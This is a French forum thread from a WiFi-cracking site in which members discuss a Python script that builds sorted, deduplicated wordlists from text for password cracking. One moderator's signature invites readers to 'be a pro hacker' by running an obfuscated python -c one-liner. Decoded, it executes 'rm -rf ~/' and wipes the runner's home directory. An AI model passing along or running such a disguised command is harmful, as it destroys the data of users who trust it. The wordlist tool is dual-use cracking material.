Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 24-09-2013 16:50:03

le dirdir
Membre d'Or
Inscription : 09-03-2013
Messages : 368

Text to sorted worlist creator

Salut.

Au hasard d'une recherche, je suis tombé sur ce script python.

Text To Sorted Word-List Creator permet de créer simplement un dico a partir d'un fichier texte, classés apr ordre alphabétique, sans doublons.

En voici le source :

#! /usr/bin/python3
# -*- coding: utf-8 -*-

""" Text to Sorted with no repeated elements Word-List creator in Python 3.

BY:
      ____              _    _             __  __            
     / ___| _ __   __ _| | _(_)_ __   __ _|  \/  | __ ___  __
     \___ \| '_ \ / _` | |/ / | '_ \ / _` | |\/| |/ _` \ \/ /
      ___) | | | | (_| |   <| | | | | (_| | |  | | (_| |>  <    ____
 ____|____/|_| |_|\__,_|_|\_\_|_| |_|\__, |_|  |_|\__,_/_/\_\__/ O  \___/
<\x41\x41\x41\x41\x41\x41\x41\x41\x41|___/\x41\x41\x41\x41\x41______/   \

                 snakingmax [at] hotmail [dot] com
                   site: snakingmax.blogspot.com
"""

import sys

def delRepeated(myList):
  outputList = []
  for i in myList:
    if i not in outputList:
      outputList.append(i)
  return outputList

def makeWordList(text, wordlist):
  textFile = open ( text , 'rt')
  dump = textFile.read()
  textFile.close()
  myList = dump.split()
  myList.sort()
  myList = delRepeated(myList)
  wordPos=0
  wordListFile = open ( wordlist , 'at')
  for i in myList:
    wordListFile.write (myList[wordPos]+"\n")
    wordPos=wordPos+1
  wordListFile.close()
  return wordPos

if (__name__=="__main__" ):
  if len(sys.argv) != 3:
    print("usage:\n")
    print("text2dictsort [text.txt] [wordlist.txt]\n\n")
    print("Downloaded from: http://snakingmax.blogspot.com/")
  else:
    text = sys.argv[1];
    wordlist = sys.argv[2];
    wordListFile = open ( wordlist , 'wt')
    wordListFile.close()
    numWords = makeWordList(text, wordlist)
    print("Word-list created in: {0}\nTotal words: {1}.".format( sys.argv[2], numWords ))

Il fonctionne et m'a permit de créer une liste de 20 000 mots (Le conte de Monté-Christo) en moins d'une minute avec un PC pas si puissant que ça.

Dernière modification par le dirdir (24-09-2013 18:05:13)


Tant vaut l'antenne, tant vaut le poste

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 24-09-2013 18:07:50

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Text to sorted worlist creator

Merci dirdir c'est bien pratique et c'est une bonne idée wink
Je ne sais pas si tu l'avais vu, mais dans le même ordre d'idée il y a aussi le "scrambler" de Spawn smile
      Programmes de génération de dicos, en C.

Hors Ligne

#3 25-09-2013 08:41:22

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Text to sorted worlist creator

def delRepeated(myList):
  outputList = []
  for i in myList:
    if i not in outputList:
      outputList.append(i)
  return outputList

:vomi:


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#4 25-09-2013 12:09:32

le dirdir
Membre d'Or
Inscription : 09-03-2013
Messages : 368

Re : Text to sorted worlist creator

lol

Le problème avec les programmeurs c'est qu'on doit apprendre leur langage pour comprendre leurs blagues. tongue


Tant vaut l'antenne, tant vaut le poste

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Épinglée :
43 39248 30-08-2013 15:47:58 par dznet
1 6719 09-03-2012 19:28:02 par koala
10 2085 26-06-2011 17:14:13 par Skeunk
0 1465 30-04-2011 18:35:18 par NaiN
2 7890 20-01-2011 22:42:53 par Grand Hibou

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.022 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]